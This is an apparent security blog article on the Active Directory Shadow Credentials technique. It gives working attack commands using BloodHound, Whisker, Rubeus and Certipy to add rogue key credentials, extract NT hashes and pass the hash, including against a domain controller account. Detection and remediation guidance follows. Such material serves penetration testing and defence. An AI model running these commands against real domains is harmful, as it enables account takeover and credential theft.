You have GenericWrite over a privileged service account. No password in any dump, no Kerberoastable hash, no certificate template in scope. Most pentesters move on. The Shadow Credentials technique turns that single DACL entry into full account takeover — without ever touching the account’s password.

TL;DR

  • Shadow Credentials abuse write access to the msDS-KeyCredentialLink attribute on an AD account
  • An attacker adds a rogue key credential (certificate) to that attribute, tied to a keypair they control
  • Authentication via PKINIT (Kerberos pre-auth with certificates) then yields a TGT and the account’s NT hash
  • No password modification, no AS-REP, no SPN required — the attack is largely invisible to password-based monitoring
  • Detection requires auditing msDS-KeyCredentialLink changes via Event ID 5136 and Microsoft Defender for Identity

Why Shadow Credentials Matter

Most Active Directory privilege escalation paths require something: a crackable hash, a misconfigured template, a service running as a high-privilege account. Shadow Credentials are different — the only prerequisite is write access to a single attribute on the target account object.

That write access comes from one of the most common findings in enterprise AD environments: overly permissive ACLs (Access Control Lists) applied to privileged accounts. Helpdesk staff who need to reset a specific user’s password end up with GenericAll. A service account gets delegated GenericWrite on an OU containing domain admins. These are not exotic configurations — they exist in most organizations that have been running Active Directory for more than five years.

The technique was publicly documented by Elad Shamir in 2021 in the post “Certificates and Pwnage and Patches”. Since then it has become a standard item in red team playbooks, and tools like Whisker and Certipy have made execution trivial.


How Shadow Credentials Work

msDS-KeyCredentialLink is an Active Directory attribute that stores Key Credential objects — binary structures that bind a public key to a user or computer account. This attribute was introduced to support Windows Hello for Business (WHfB), Microsoft’s passwordless authentication framework.

When a user enrolls in WHfB, a key pair is generated on their device. The public key gets written into msDS-KeyCredentialLink on their AD account. From that point on, the device can authenticate using the private key via Kerberos — no password required.

The Key Credential object stored in the attribute contains:

  • A raw public key (RSA or ECC)
  • A Device ID (GUID)
  • A creation timestamp
  • Additional metadata

PKINIT Authentication

PKINIT (Public Key Cryptography for Initial Authentication) is a Kerberos extension defined in RFC 4556 that allows certificate-based pre-authentication. Instead of encrypting the timestamp with the account’s password hash (standard Kerberos pre-auth), PKINIT signs the authenticator with a private key. The KDC (Key Distribution Center — the Domain Controller) validates the signature against the public key stored in msDS-KeyCredentialLink.

On successful PKINIT authentication the KDC returns:

  1. A TGT (Ticket-Granting Ticket) for the target account
  2. A PAC (Privilege Attribute Certificate) encrypted with a session key
  3. The NT hash of the account, embedded in the PAC and retrievable via the UnPAC-the-hash technique

That NT hash is the prize. It can be used for Pass-the-Hash, to request service tickets, or to authenticate to SMB/WinRM/LDAP.

Why DACL Abuse Enables This

AD accounts control who can write to their own attributes. The msDS-KeyCredentialLink attribute is writable by the account itself and, crucially, by anyone who has been granted GenericWrite, GenericAll, WriteProperty, or explicit write access to that attribute on the account object.

The attack flow is:

  1. Attacker identifies an account where they have write access
  2. Attacker generates a key pair locally
  3. Attacker writes a new Key Credential (containing their public key) into msDS-KeyCredentialLink on the target account
  4. Attacker uses PKINIT to authenticate as the target, proving ownership of the private key
  5. KDC validates the public key from msDS-KeyCredentialLink and issues a TGT
  6. Attacker extracts the NT hash from the PAC

The target account’s actual password is never touched or needed at any point.


Prerequisites

For this attack to work, the attacker needs:

  • Write access to msDS-KeyCredentialLink on the target account — via GenericWrite, GenericAll, or explicit attribute-level write. This is the only hard requirement.
  • Network access to a Domain Controller — specifically LDAP (port 389/636) to write the attribute, and Kerberos (port 88) to authenticate.
  • The domain must support PKINIT — this requires at least one Domain Controller with a DC certificate issued from a CA trusted by the domain. In practice, if ADCS is deployed (common) or Azure AD hybrid join is configured (very common), PKINIT is available.
  • The target account must support PKINIT — this means the target cannot have userAccountControl flags that prevent certificate authentication. Standard user and computer accounts are fine.

Shadow Credentials do not work against accounts in environments that have never deployed any PKI infrastructure and have no DC certificates, though this is rare in enterprise environments.


Attack Walkthrough

Before running any exploit, find which accounts you can actually target. BloodHound is the fastest path.

BloodHound Cypher query — find all principals with write access over another principal’s msDS-KeyCredentialLink:

// Find all nodes where the attacker-controlled user has GenericWrite or AllExtendedRights
MATCH p=(n)-[:GenericWrite|GenericAll|WriteOwner|WriteDacl]->(m:User)
WHERE n.name = "COMPROMISED_USER@DOMAIN.LOCAL"
RETURN p
// Broader: find all users with GenericWrite over any User object (useful for lateral movement mapping)
MATCH p=(n:User)-[:GenericWrite]->(m:User)
RETURN p LIMIT 50
// Find GenericWrite paths to computer accounts (useful for LAPS bypass or machine account takeover)
MATCH p=(n:User)-[:GenericWrite]->(m:Computer)
RETURN p LIMIT 50

You can also enumerate directly with PowerView or ldapsearch:

Terminal window
# PowerView — find ACEs granting write on a specific user
Get-DomainObjectAcl -Identity "targetuser" -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty" } |
Select-Object SecurityIdentifier, ActiveDirectoryRights, ObjectAceType
Terminal window
# ldapsearch — enumerate ACL on the target object
ldapsearch -H ldap://dc01.domain.local -x -D "attacker@domain.local" \
-w 'Password123' -b "CN=targetuser,CN=Users,DC=domain,DC=local" \
nTSecurityDescriptor

Step 2: Add Shadow Credential with Whisker (Windows)

Whisker is a C# tool by Elad Shamir that automates Shadow Credentials. It generates a key pair, creates the Key Credential object, and writes it to msDS-KeyCredentialLink via LDAP.

Terminal window
:: List existing key credentials on the target (non-destructive reconnaissance)
Whisker.exe list /target:targetuser /domain:domain.local /dc:dc01.domain.local
:: Add a new shadow credential
:: This generates a self-signed cert and adds the public key to msDS-KeyCredentialLink
Whisker.exe add /target:targetuser /domain:domain.local /dc:dc01.domain.local
:: Output will include a Rubeus command to request a TGT using the generated cert:
:: Rubeus.exe asktgt /user:targetuser /certificate:<base64> /password:<cert_password> /domain:domain.local /dc:dc01.domain.local /getcredentials /show

Run the Rubeus command from the Whisker output to obtain the TGT and extract the NT hash:

Terminal window
Rubeus.exe asktgt /user:targetuser /certificate:MIIJuAIBAzCC... /password:ShadowKey123! \
/domain:domain.local /dc:dc01.domain.local /getcredentials /show
:: /getcredentials triggers UnPAC-the-hash — outputs the NT hash directly
:: [*] Getting credentials using U2U
:: CredentialInfo:
:: Version: 0
:: EncryptionType: rc4_hmac
:: Credential:
:: Hash: NTLM: aad3b435b51404eeaad3b435b51404ee:8f49412c6a8f8e3e9f1b2a3c4d5e6f70

Step 3: Add Shadow Credential with Certipy (Linux / Python)

Certipy (by ly4k) integrates Shadow Credentials directly. The shadow auto command handles everything end-to-end: enumerate, add credential, authenticate, extract hash, and clean up.

Terminal window
# Full auto — add shadow credential, get TGT, extract NT hash, then remove the credential
certipy shadow auto \
-u attacker@domain.local \
-p 'Password123' \
-account targetuser \
-dc-ip 192.168.1.10
# Output:
# [*] Targeting user 'targetuser'
# [*] Generating certificate
# [*] Certificate generated
# [*] Generating Key Credential
# [*] Key Credential generated with DeviceID 'a1b2c3d4-...'
# [*] Adding Key Credentials to 'targetuser'
# [*] Key Credentials added to 'targetuser'
# [*] Authenticating as 'targetuser' with the certificate
# [*] Requesting TGT
# [*] Got TGT for targetuser@domain.local
# [*] Authenticating with TGT
# [*] Got hash for 'targetuser@domain.local': aad3b435b51404eeaad3b435b51404ee:8f49412c6a8f8e3e9f1b2a3c4d5e6f70
# [*] Saved credential cache to 'targetuser.ccache'
# [*] Cleaning up...
# [*] Removing Key Credentials from 'targetuser'

Manual steps if you want more control:

Terminal window
# Step 1: Add shadow credential only (no auto cleanup)
certipy shadow add \
-u attacker@domain.local \
-p 'Password123' \
-account targetuser \
-dc-ip 192.168.1.10
# Saves: targetuser.pfx
# Step 2: Authenticate and get TGT + NT hash
certipy auth \
-pfx targetuser.pfx \
-username targetuser \
-domain domain.local \
-dc-ip 192.168.1.10
# Outputs TGT (.ccache) and NT hash
# Step 3: Use the NT hash for lateral movement
evil-winrm -i 192.168.1.20 -u targetuser -H 8f49412c6a8f8e3e9f1b2a3c4d5e6f70
# Or Pass-the-Hash with impacket
python3 /opt/impacket/examples/wmiexec.py \
-hashes aad3b435b51404eeaad3b435b51404ee:8f49412c6a8f8e3e9f1b2a3c4d5e6f70 \
domain.local/targetuser@192.168.1.20
# Step 4: Remove the shadow credential when done (cleanup)
certipy shadow remove \
-u attacker@domain.local \
-p 'Password123' \
-account targetuser \
-device-id a1b2c3d4-e5f6-7890-abcd-ef1234567890 \
-dc-ip 192.168.1.10

Targeting Computer Accounts

Shadow Credentials work equally well against computer accounts. When targeting a machine account, PKINIT authentication returns the machine’s NT hash, which can be used for:

  • S4U2Self / Resource-Based Constrained Delegation (RBCD) abuse to impersonate any user to that machine
  • Silver ticket creation against services hosted on that machine
  • DCSync if you elevate to a DC’s machine account
Terminal window
# Targeting a computer account (note the trailing $ is required)
certipy shadow auto \
-u attacker@domain.local \
-p 'Password123' \
-account 'DC01$' \
-dc-ip 192.168.1.10

BloodHound Queries for Target Discovery

Use these queries to map the full attack surface during an engagement before writing any credentials:

-- All users with GenericWrite over Users (potential Shadow Credentials targets)
MATCH p=(n)-[:GenericWrite]->(m:User)
WHERE NOT n.name = m.name
RETURN n.name AS attacker, m.name AS target, m.enabled AS enabled
ORDER BY m.admincount DESC
-- All users with GenericWrite over Computers
MATCH p=(n:User)-[:GenericWrite]->(m:Computer)
RETURN n.name AS attacker, m.name AS target
-- High-value targets: users with GenericWrite over accounts that have admin rights
MATCH (n)-[:GenericWrite]->(m:User)-[:MemberOf*1..]->(g:Group)
WHERE g.objectid ENDS WITH "-512" -- Domain Admins
RETURN n.name AS attacker, m.name AS target, g.name AS admin_group
-- Find paths from owned principals to targets via GenericWrite
MATCH p=shortestPath(
(n:User {owned: true})-[:GenericWrite|GenericAll*1..3]->(m:User)
)
WHERE NOT n = m
RETURN p

Detection

Shadow Credentials are stealthy compared to techniques that touch passwords or SPNs, but they do leave forensic traces if you know where to look.

Event ID 5136 — Directory Service Object Modified

When msDS-KeyCredentialLink is written, Windows generates a Security Event ID 5136 (DS Object Modified) on the Domain Controller that processed the LDAP write. This event fires for every attribute change on AD objects.

The key fields to monitor:

FieldValue to look for
Event ID5136
Attribute NamemsDS-KeyCredentialLink
Operation TypeValue Added (1)
Subject Account NameWho performed the write (attacker)
Object DNWhich account was modified (target)

This event only fires if Directory Service Changes auditing is enabled. Verify with:

Terminal window
# Check if DS Changes auditing is enabled
auditpol /get /subcategory:"Directory Service Changes"
# Should show: Success and Failure
# Enable if not set
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable

Microsoft Defender for Identity (MDI)

MDI (formerly Azure ATP) has a built-in alert: “Suspicious modification of the msDS-KeyCredentialLink attribute”. It fires when msDS-KeyCredentialLink is modified on an account that is not enrolled in Windows Hello for Business — which covers virtually all attack scenarios.

The alert includes:

  • Source account (attacker)
  • Target account
  • Timestamp
  • Source IP and workstation

MDI is one of the most reliable detections for this technique because it understands the expected behavior baseline for WHfB enrollment versus unexpected attribute writes.

KQL Query for Microsoft Sentinel

If you ingest Windows Security Events into Sentinel, this query detects msDS-KeyCredentialLink modifications:

// Shadow Credentials — detect msDS-KeyCredentialLink writes
// Requires: Security Event collection from DCs with DS Changes auditing enabled
SecurityEvent
| where EventID == 5136
| where TimeGenerated > ago(7d)
| extend AttributeName = tostring(parse_xml(EventData).DataItem.Data[12]["#text"])
| extend OperationType = tostring(parse_xml(EventData).DataItem.Data[14]["#text"])
| extend SubjectAccount = tostring(parse_xml(EventData).DataItem.Data[3]["#text"])
| extend ObjectDN = tostring(parse_xml(EventData).DataItem.Data[8]["#text"])
| where AttributeName has "msDS-KeyCredentialLink"
| where OperationType == "%%14674" // Value Added
| project TimeGenerated, SubjectAccount, ObjectDN, AttributeName, Computer
| sort by TimeGenerated desc

A cleaner alternative using the structured AuditEvent schema if you have Defender for Identity integrated with Sentinel:

// MDI alert — Suspicious msDS-KeyCredentialLink modification
SecurityAlert
| where ProviderName == "Azure Advanced Threat Protection"
| where AlertName has "msDS-KeyCredentialLink"
| project TimeGenerated, AlertName, Entities, RemediationSteps
| sort by TimeGenerated desc

Additional Detection Signals

  • PKINIT from unexpected sources: Monitor for Kerberos TGT requests using certificate pre-authentication (Kerberos PA-PK-AS-REQ — Event ID 4768 with Pre-Auth Type 17 or 18) from accounts that are not enrolled in WHfB or smart card programs.
  • Unusual LDAP writes: If you have LDAP traffic logging (e.g., via a proxy or network sensor), writes to msDS-KeyCredentialLink from workstations rather than Domain Controllers or enrollment services are a strong indicator.
  • UnPAC-the-hash: The NT hash extraction step generates a U2U (User-to-User) Kerberos request (Event ID 4769 with service name matching the user account itself). This is unusual and worth alerting on.

Remediation

Audit and Remove Excessive DACL Permissions

The root cause is always excessive ACL permissions. Run regular ACL audits:

Terminal window
# Find all principals with GenericWrite over User objects in the domain
Get-DomainObjectAcl -LDAPFilter "(objectCategory=user)" -ResolveGUIDs |
Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty" -and
$_.AceType -eq "AccessAllowed" -and
$_.SecurityIdentifier -notmatch "^S-1-5-18|^S-1-5-32-544|^S-1-5-32-548|^S-1-5-32-550"
} |
Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights |
Export-Csv dacl-audit.csv -NoTypeInformation
# Review output — remove permissions that are not intentionally delegated

For each unexpected entry found, remove it using:

Terminal window
# Remove a specific ACE — requires Domain Admin or delegated permission
$acl = Get-Acl "AD:CN=targetuser,CN=Users,DC=domain,DC=local"
$ace = $acl.Access | Where-Object { $_.IdentityReference -eq "DOMAIN\helpdesk-user" }
$acl.RemoveAccessRule($ace)
Set-Acl "AD:CN=targetuser,CN=Users,DC=domain,DC=local" $acl

Protect Tier 0 Accounts

Apply AdminSDHolder to ensure Domain Admin and other Tier 0 accounts have their ACLs automatically reset by the SDProp process (runs every 60 minutes):

Terminal window
# Accounts in Protected Groups (Domain Admins, Schema Admins, etc.) are automatically
# protected by AdminSDHolder — verify the AdminCount attribute is set:
Get-ADUser targetuser -Properties AdminCount | Select-Object Name, AdminCount
# AdminCount = 1 means SDProp manages this account's ACL
# For accounts NOT in protected groups but requiring protection,
# consider adding them to a custom Privileged Access Group with restricted ACLs

Enable Auditing

Ensure DS Changes auditing is enabled on all Domain Controllers via Group Policy:

Computer Configuration → Policies → Windows Settings → Security Settings
→ Advanced Audit Policy Configuration → DS Access
→ Audit Directory Service Changes: Success, Failure

Deploy Microsoft Defender for Identity

If MDI is not deployed, prioritize it for the msDS-KeyCredentialLink detection alone. It provides out-of-the-box detection without requiring custom KQL queries or manual event correlation. The Sensor is installed directly on Domain Controllers and processes events locally before forwarding to the cloud portal.


If you found this article useful, these cover related Active Directory attack paths:


Sources